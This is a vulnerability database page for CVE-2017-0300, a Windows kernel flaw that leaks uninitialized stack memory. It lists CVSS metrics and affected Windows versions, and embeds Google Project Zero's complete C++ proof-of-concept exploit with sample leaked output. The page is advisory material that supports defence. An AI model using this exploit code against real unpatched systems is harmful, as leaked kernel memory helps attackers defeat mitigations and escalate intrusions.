CVE-2017-0300 : Detail

CVE-2017-0300

5
/
Medium
A01-Broken Access Control
0.06%V3
Local
2017-06-14
23h00 +00:00
2017-08-11
13h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The kernel in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allows an authenticated attacker to obtain information via a specially crafted application. aka "Windows Kernel Information Disclosure Vulnerability," a different vulnerability than CVE-2017-8491, CVE-2017-8490, CVE-2017-8489, CVE-2017-8488, CVE-2017-8485, CVE-2017-8483, CVE-2017-8482, CVE-2017-8481, CVE-2017-8480, CVE-2017-8478, CVE-2017-8479, CVE-2017-8476, CVE-2017-8474, CVE-2017-8469, CVE-2017-8462, CVE-2017-0299, and CVE-2017-0297.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 1.9 AV:L/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42244

Publication date : 2017-06-22
22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1214&desc=2 We have discovered that the nt!NtQueryInformationWorkerFactory system call called with the WorkerFactoryBasicInformation (7) information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10. The specific layout of the output structure corresponding to the class is unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 96 bytes is accepted. Within that memory area, 5 uninitialized bytes from the kernel stack can be leaked to the client application. The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=WorkerFactoryBasicInformation and the allowed output size. An example output is as follows: --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 44 5f 9a fe ff ff ff 00 00 00 01 00 00 00 41 .D_............A 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 14 0a 00 00 00 00 01 00 00 10 00 00 00 00 00 00 ................ --- cut --- It is clearly visible here that among all data copied from ring-0 to ring-3, 1 byte at offset 0x1f and 4 bytes at offset 0x3c remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <winternl.h> #include <cstdio> extern "C" { ULONG WINAPI NtMapUserPhysicalPages( PVOID BaseAddress, ULONG NumberOfPages, PULONG PageFrameNumbers ); NTSTATUS WINAPI NtCreateWorkerFactory( _Out_ PHANDLE WorkerFactoryHandleReturn, _In_ ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_ HANDLE CompletionPortHandle, _In_ HANDLE WorkerProcessHandle, _In_ PVOID StartRoutine, _In_opt_ PVOID StartParameter, _In_opt_ ULONG MaxThreadCount, _In_opt_ SIZE_T StackReserve, _In_opt_ SIZE_T StackCommit ); NTSTATUS WINAPI NtQueryInformationWorkerFactory( _In_ HANDLE WorkerFactoryHandle, _In_ ULONG WorkerFactoryInformationClass, _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, _In_ ULONG WorkerFactoryInformationLength, _Out_opt_ PULONG ReturnLength ); } // extern "C" VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { // Buffer allocated in static program memory, hence doesn't touch the local stack. static BYTE buffer[4096]; // Fill the buffer with 'A's and spray the kernel stack. MyMemset(buffer, 'A', sizeof(buffer)); NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer); // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. MyMemset(buffer, 'B', sizeof(buffer)); } int main() { // Create a completion port. HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0); if (hCompletionPort == NULL) { printf("CreateIoCompletionPort failed, %d\n", GetLastError()); return 1; } // Create the worker factory object to query. HANDLE hWorkerFactory = NULL; NTSTATUS st = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, GetCurrentProcess(), NULL, NULL, 0, 0, 0); if (!NT_SUCCESS(st)) { printf("NtCreateWorkerFactory failed, %x\n", st); CloseHandle(hCompletionPort); return 1; } // Spray the kernel stack to get visible results. SprayKernelStack(); // Trigger the vulnerability and print out the output structure. BYTE output[96] = { /* zero padding */ }; DWORD ReturnLength; #define WorkerFactoryBasicInformation 7 st = NtQueryInformationWorkerFactory(hWorkerFactory, WorkerFactoryBasicInformation, output, sizeof(output), &ReturnLength); if (!NT_SUCCESS(st)) { printf("NtQueryInformationWorkerFactory failed, %x\n", st); CloseHandle(hWorkerFactory); CloseHandle(hCompletionPort); return 1; } PrintHex(output, ReturnLength); // Free resources. CloseHandle(hWorkerFactory); CloseHandle(hCompletionPort); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_8.1 >> Version rt

    Microsoft>>Windows_server_2008 >> Version *

    Microsoft>>Windows_server_2008 >> Version r2

    Microsoft>>Windows_server_2012 >> Version -

    Microsoft>>Windows_server_2012 >> Version r2

    Microsoft>>Windows_server_2016 >> Version *

    References

    http://www.securityfocus.com/bid/98901
    Tags : vdb-entry, x_refsource_BID
    https://www.exploit-db.com/exploits/42244/
    Tags : exploit, x_refsource_EXPLOIT-DB